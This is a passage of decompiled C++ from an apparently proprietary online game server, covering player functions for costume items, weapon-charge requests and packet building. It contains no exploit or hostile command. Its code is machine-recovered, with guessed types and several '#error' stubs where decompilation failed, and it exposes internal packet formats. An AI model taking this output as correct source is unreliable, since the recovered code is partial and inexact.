--funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow"); } //----- (004FDBB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult(void *this, __int16 err, __int16 skill) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18452; *((_WORD *)v4 + 2) = err; *((_WORD *)v4 + 1) = skill; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult"); } //----- (004FDCA0) -------------------------------------------------------- #error "4FDCA0: undefined or illegal type '#593' (funcsize=97)" //----- (004FDE40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate(void *this, unsigned __int16 equippart, int itemid, int op) { void *v4; // ebp@1 int v5; // eax@1 int v6; // edx@2 int v7; // eax@2 ItemAttributeClass *v8; // edi@4 int v9; // ST0C_4@4 CServerInfo::MY_SERVER *v10; // eax@4 int v11; // eax@4 char v12; // cl@7 int v13; // [sp+20h] [bp-90h]@1 ITEM_INVEN inv; // [sp+24h] [bp-8Ch]@2 int cell; // [sp+28h] [bp-88h]@4 FunctionEntarance _; // [sp+2Ch] [bp-84h]@1 char iti; // [sp+30h] [bp-80h]@4 __int16 v18; // [sp+38h] [bp-78h]@8 unsigned int v19; // [sp+A0h] [bp-10h]@1 int v20; // [sp+ACh] [bp-4h]@1 v19 = (unsigned int)&v13 ^ __security_cookie; v4 = this; v13 = op; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *((_DWORD *)v4 + 8078); v20 = 0; if ( equippart >= (*(int (__thiscall **)(char *))(v5 + 8))((char *)v4 + 32312) || (v6 = *(_DWORD *)v4, inv.Inven = equippart & 0x3FF | 0x2000, v7 = (*(int (__thiscall **)(void *))(v6 + 2004))(v4), (unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)v7 + 12))(v7, &inv)) ) { --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); } else { cell = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8078))( (char *)v4 + 32312, equippart); v8 = ItemAttributeClassContainer::operator__(&itmattcontainer, itemid); v9 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v10 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, itemid, 7, v10->nZoneNo, v9); v8->vfptr->iac_itemcreate(v8, itemid, (ItemTotalInformation *)&iti, (char *)&stru_63450C.maa_TargetSelect.aggresive); v11 = v13; if ( *(_BYTE *)v13 ) { do { if ( *(_BYTE *)v11 == 45 ) { v8->vfptr->iac_itemcreate(v8, itemid, (ItemTotalInformation *)&iti, (char *)v11); v11 = v13; } v12 = *(_BYTE *)(v11++ + 1); v13 = v11; } while ( v12 ); } v18 = itemid; ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(v4, 8, equippart, (int)&iti, cell); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate"); } __security_check_cookie((unsigned int)&v13 ^ v19); } //----- (004FE020) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff(void *this, unsigned __int16 equippart, __int16 itemid) { void *v3; // esi@1 int v4; // edx@1 int v5; // eax@2 int v6; // eax@2 int v7; // edi@3 int v8; // eax@3 char v9; // bl@6 char result; // al@6 char v11; // bl@7 ITEM_INVEN inveninv; // [sp+10h] [bp-18h]@3 ITEM_INVEN equipinv; // [sp+14h] [bp-14h]@2 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v15; // [sp+24h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v3 + 8078); v15 = 0; if ( equippart < (*(int (__thiscall **)(char *))(v4 + 8))((char *)v3 + 32312) && (v5 = *(_DWORD *)v3, equipinv.Inven = equippart & 0x3FF | 0x2000, v6 = (*(int (__thiscall **)(void *))(v5 + 2004))(v3), !(unsigned __int8)(*(int (__thiscall **)(int, ITEM_INVEN *))(*(_DWORD *)v6 + 12))(v6, &equipinv)) && (v7 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8078))( (char *)v3 + 32312, equippart), v8 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v3, itemid, (int)&inveninv), v7) && v8 ) { if ( *(_WORD *)(v7 + 8) == -1 ) { v9 = ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), v8, (int)&inveninv); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v9; } else { v11 = ShineObjectClass::ShinePlayer::sp_DestroyNReloc(v3, v7, &equipinv, v8, &inveninv); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v11; } } else { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff"); result = 0; } return result; } // 510FE0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyNReloc(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (004FE1B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(void *this, __int16 inventype, __int16 invenslot) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12344; *((_WORD *)v4 + 1) = (inventype << 10) ^ invenslot & 0x3FF; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NoticeItemBreak"); } //----- (004FE2A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 bool v5; // zf@1 char *v6; // ebp@1 int v7; // eax@6 __int16 v8; // ax@16 int v9; // eax@21 int v10; // edi@22 CIDEB_Element *v11; // eax@25 CIDEB_Element *v12; // esi@25 int v13; // ecx@27 int v14; // eax@29 int v15; // edx@29 int v16; // esi@31 ItemDataBox::ItemDataBoxIndex *v17; // eax@32 CIDEB_Element *v18; // eax@34 void *v19; // eax@36 int v20; // eax@37 int v21; // esi@39 int v22; // eax@40 ChargedItemEffect *v23; // edx@40 int v24; // edx@42 void *v25; // eax@42 char *v26; // edi@43 int v27; // eax@43 ItemAttributeClass *v28; // ecx@44 int v29; // eax@44 int v30; // eax@45 char v31; // al@45 ZoneBaseSession *v32; // eax@46 int v33; // eax@47 int v34; // [sp+1Ch] [bp-C4h]@19 const char *v35; // [sp+20h] [bp-C0h]@19 int v36; // [sp+24h] [bp-BCh]@19 FunctionEntarance _; // [sp+38h] [bp-A8h]@1 ITEM_INVEN chargeiteminven; // [sp+3Ch] [bp-A4h]@42 int weaponcell; // [sp+40h] [bp-A0h]@22 int v40; // [sp+44h] [bp-9Ch]@1 void *iac_charge; // [sp+48h] [bp-98h]@36 CIDEB_Element *chargedindex; // [sp+4Ch] [bp-94h]@34 int rest; // [sp+50h] [bp-90h]@29 CIDEB_Element *weaponindex; // [sp+54h] [bp-8Ch]@25 int chargenumber; // [sp+58h] [bp-88h]@37 int chargingcell; // [sp+5Ch] [bp-84h]@31 char iti; // [sp+60h] [bp-80h]@39 unsigned __int16 itmid[2]; // [sp+68h] [bp-78h]@39 __int16 v49; // [sp+CCh] [bp-14h]@39 char v50; // [sp+CEh] [bp-12h]@39 unsigned int v51; // [sp+D0h] [bp-10h]@1 int v52; // [sp+DCh] [bp-4h]@1 v4 = this; v51 = (unsigned int)&_ ^ __security_cookie; v40 = netcmd; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S5_45 & 1) == 0; v6 = gpp.pp_Buffer; v52 = 0; *(_WORD *)gpp.pp_Buffer = 12342; if ( v5 ) { _S5_45 |= 1u; cmc_66.cmc_AllowMode = 6; atexit(_E6_55); } if ( !((1 << **((_BYTE **)v4 + 892)) & cmc_66.cmc_AllowMode) ) { *((_WORD *)v6 + 4) = 6785; goto LABEL_5; } if ( *((_BYTE *)v4 + 7428) & 4 ) { *((_WORD *)v6 + 4) = 6786; goto LABEL_9; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 3464))(v4) ) { *((_WORD *)v6 + 4) = 6794; goto LABEL_5; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { *((_WORD *)v6 + 4) = 6787; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_53: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); goto LABEL_54; } goto LABEL_10; } if ( *((_BYTE *)v4 + 69760) & 0xC ) { *((_WORD *)v6 + 4) = 6788; LABEL_9: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_53; } LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10); LABEL_54: --funcallanalizer.fca_stackpoint; v52 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ"); goto LABEL_55; } v8 = *(_WORD *)(netcmd + 3); if ( (unsigned int)*(_WORD *)(netcmd + 3) >> 10 == 8 ) { weaponcell = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8078))( (char *)v4 + 32312, v8 & 0x3FF); v10 = weaponcell; } else { if ( (unsigned int)*(_WORD *)(netcmd + 3) >> 10 != 9 ) { *((_WORD *)v6 + 4) = 6789; LABEL_19: v36 = 10; v35 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long"; v34 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 10); goto LABEL_20; } v10 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, v8 & 0x3FF); weaponcell = v10; } if ( !v10 || (v11 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, *(_WORD *)(v10 + 8)), v12 = v11, (weaponindex = v11) == 0) || v11->ce_Data->EffectEnum != 28 ) { *((_WORD *)v6 + 4) = 6790; goto LABEL_19; } v13 = *(_DWORD *)(v10 + 112); if ( v13 ) { v14 = (*(int (__stdcall **)(int))(*(_DWORD *)v13 + 136))(v10); v15 = v12->ce_Data->EffectValue; rest = v14; if ( v14 < v15 ) { v16 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *(_BYTE *)(v40 + 2)); chargingcell = v16; if ( v16 ) { v17 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v16 + 8)); if ( v17 ) { if ( v17->data->ItemFunc == 2 ) { v18 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, *(_WORD *)(v16 + 8)); chargedindex = v18; if ( v18 ) { if ( v18->ce_Data->EffectEnum == 27 ) { v19 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v16 + 8)); iac_charge = v19; if ( v19 ) { v20 = (*(int (__thiscall **)(void *, int))(*(_DWORD *)v19 + 24))(v19, v16 + 8); chargenumber = v20; if ( v20 > 0 ) { if ( v20 > 1 ) { memcpy(&iti, (const void *)v16, 0x6Cu); v21 = v16 + 108; v49 = *(_WORD *)v21; v50 = *(_BYTE *)(v21 + 2); (*(void (__stdcall **)(unsigned __int16 *, int))(*(_DWORD *)iac_charge + 28))(itmid, v20 - 1); v10 = weaponcell; v16 = chargingcell; } v22 = rest + chargedindex->ce_Data->EffectValue; v23 = weaponindex->ce_Data; if ( v22 > v23->EffectValue ) v22 = v23->EffectValue; v24 = v40; chargeiteminven.Inven = *(unsigned __int8 *)(v40 + 2) | 0x2400; *(_WORD *)gpp.pp_Buffer = 13453; *(_DWORD *)(v6 + 2) = *(_DWORD *)v10; *(_DWORD *)(v6 + 6) = *(_DWORD *)(v10 + 4); *((_WORD *)v6 + 5) = *(_WORD *)(v24 + 3); *((_DWORD *)v6 + 3) = v22; *((_WORD *)v6 + 8) = *((_WORD *)v4 + 2); *(_DWORD *)(v6 + 18) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v25 = chargedindex; *(_DWORD *)(v6 + 22) = *(_DWORD *)v16; *(_DWORD *)(v6 + 26) = *(_DWORD *)(v16 + 4); *((_WORD *)v6 + 15) = *(_WORD *)v25; *((_WORD *)v6 + 17) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4) + 4); if ( chargenumber > 1 ) { v28 = (ItemAttributeClass *)iac_charge; v6[36] = 0; *((_WORD *)v6 + 16) = 35; v26 = (char *)(ItemTotalInformation::iti_fill2buffer_atrib( (ItemTotalInformation *)&iti, v28, itmid[0], v6 + 37) - (v6 + 37)); v29 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v29 + 56))( v29, *((_WORD *)v6 + 17), v16, &iti, &chargeiteminven, &chargeiteminven); } else { v26 = 0; v6[36] = 1; *((_WORD *)v6 + 16) = 0; v27 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v27 + 48))( v27, *((_WORD *)v6 + 17), v16, &chargeiteminven, &chargeiteminven); } v30 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, unsigned int, int))(*(_DWORD *)v30 + 44))( v30, *((_WORD *)v6 + 17), (unsigned int)*(_WORD *)(v40 + 3) >> 10, *(_WORD *)(v40 + 3) & 0x3FF); v31 = ProtocolPacket::pp_SetPacketLen(&gpp, (int)(v26 + 37)); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v31, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", (int)(v26 + 37)) ) { v32 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v32); } v33 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); ++*(_WORD *)(v33 + 4); goto LABEL_48; } } } } } } } *((_WORD *)v6 + 4) = 6792; } else { *((_WORD *)v6 + 4) = 6791; } goto LABEL_19; } v36 = 10; v35 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long"; *((_WORD *)v6 + 4) = 6790; v34 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 10); LABEL_20: if ( !AssertClass::operator__(&shineassert, v34, v35, v36) ) { v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); } LABEL_48: v52 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_55: __security_check_cookie((unsigned int)&_ ^ v51); } //----- (004FE820) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ENCHANT_SET_GEM_LOT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ENCHANT_SET_GEM_LOT_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ENCHANT_SET_GEM_LOT_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ENCHANT_SET_GEM_LOT_ACK"); } //----- (004FE870) -------------------------------------------------------- #error "4FE870: undefined or illegal type '#593' (funcsize=82)" //----- (004FE990) -------------------------------------------------------- #error "4FE990: undefined or illegal type '#593' (funcsize=53)" //----- (004FEA70) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck(int ack) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck"); } //----- (004FEAC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck(void *this, int ack) { void *v2; // edi@1 char *v3; // ebx@1 int v4; // eax@2 int v5; // eax@4 int v6; // ST04_4@5 DebugLogging *v7; // eax@5 DebugLogging *v8; // eax@5 int v9; // ecx@9 int v10; // eax@11 int v11; // ecx@14 char *v12; // eax@15 int v13; // eax@17 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12342; if ( *(_WORD *)(ack + 22) == 6784 ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 32))( v5, v2, *(_WORD *)(ack + 6), 0) ) { v6 = *(_WORD *)(ack + 6); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } if ( (unsigned int)*(_WORD *)(ack + 16) >> 10 == 8 ) { v9 = (int)((char *)v2 + 32312); } else { if ( (unsigned int)*(_WORD *)(ack + 16) >> 10 != 9 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : Invalid location", (unsigned int)*(_WORD *)(ack + 16) >> 10, *(_WORD *)(ack + 16) & 0x3FF); goto LABEL_18; } v9 = (int)((char *)v2 + 35680); } v10 = (**(int (__stdcall ***)(_DWORD))v9)(*(_WORD *)(ack + 16) & 0x3FF); if ( *(_DWORD *)v10 != *(_DWORD *)(ack + 8) || *(_DWORD *)(v10 + 4) != *(_DWORD *)(ack + 12) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck : weaponkey wrong", 0); goto LABEL_18; } v11 = *(_DWORD *)(v10 + 112); if ( !v11 ) goto LABEL_18; (*(void (__stdcall **)(int, _DWORD))(*(_DWORD *)v11 + 140))(v10, *(_DWORD *)(ack + 18)); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12342; *((_WORD *)v12 + 4) = 6784; *((_WORD *)v12 + 3) = *(_WORD *)(ack + 16); *(_DWORD *)(v12 + 2) = *(_DWORD *)(ack + 18); if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 26); goto LABEL_18; } LABEL_17: v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); goto LABEL_18; } v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 40))(v4, *(_WORD *)(ack + 6)); *((_WORD *)v3 + 4) = *(_WORD *)(ack + 22); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) goto LABEL_17; AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ : Packet Too Long", 10); LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck"); } //----- (004FECE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(void *this) { void *v1; // esi@1 char *v2; // eax@2 int v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)(*((_DWORD *)v1 + 35827) + 10) < (unsigned int)&wholesaver.ws_savestore[1079].esc_abstate.buffer[5032] ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12343; *(_DWORD *)(v2 + 2) = *(_DWORD *)(*((_DWORD *)v1 + 35827) + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 6); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient"); } //----- (004FEDD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(void *this) { void *v1; // esi@1 char *v2; // eax@2 int v3; // ecx@2 ZoneBaseSession *v4; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)(*((_DWORD *)v1 + 35827) + 10) < (unsigned int)&wholesaver.ws_savestore[1079].esc_abstate.buffer[5032] ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13455; v3 = *((_DWORD *)v1 + 35827); *(_DWORD *)(v2 + 2) = *(_DWORD *)v3; *(_DWORD *)(v2 + 6) = *(_DWORD *)(v3 + 4); *(_DWORD *)(v2 + 10) = *(_DWORD *)(*((_DWORD *)v1 + 35827) + 10); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease : Packet Too Long", 14); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB"); } //----- (004FEED0) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_ply_InvenWrite(int msg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_InvenWrite"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_InvenWrite"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_InvenWrite"); } //----- (004FEF20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenWrite(void *ecx0, char *msg) { void *v2; // esi@1 int v3; // eax@2 unsigned int v4; // ecx@2 char *v5; // ecx@2 DebugLogging *v6; // eax@2 DebugLogging *v7; // eax@2 DebugLogging *v8; // eax@2 int v9; // eax@6 unsigned int v10; // ecx@7 int v11; // edx@8 int v12; // ebp@11 int v13; // edi@12 DebugLogging *v14; // eax@13 DebugLogging *v15; // esi@13 _iobuf *v16; // eax@16 int v17; // edx@19 int v18; // esi@27 ItemDataBox::ItemDataBoxIndex *v19; // eax@28 DebugLogging *v20; // eax@32 char *v21; // [sp-4h] [bp-150h]@5 int v22; // [sp+10h] [bp-13Ch]@1 FunctionEntarance _; // [sp+14h] [bp-138h]@1 ItemBoxIterItem this; // [sp+18h] [bp-134h]@19 int ibii; // [sp+28h] [bp-124h]@3 char *v26; // [sp+2Ch] [bp-120h]@3 int v27; // [sp+30h] [bp-11Ch]@3 int v28; // [sp+34h] [bp-118h]@3 int v29; // [sp+38h] [bp-114h]@1 char buffer[128]; // [sp+3Ch] [bp-110h]@11 char str; // [sp+BCh] [bp-90h]@30 unsigned int v32; // 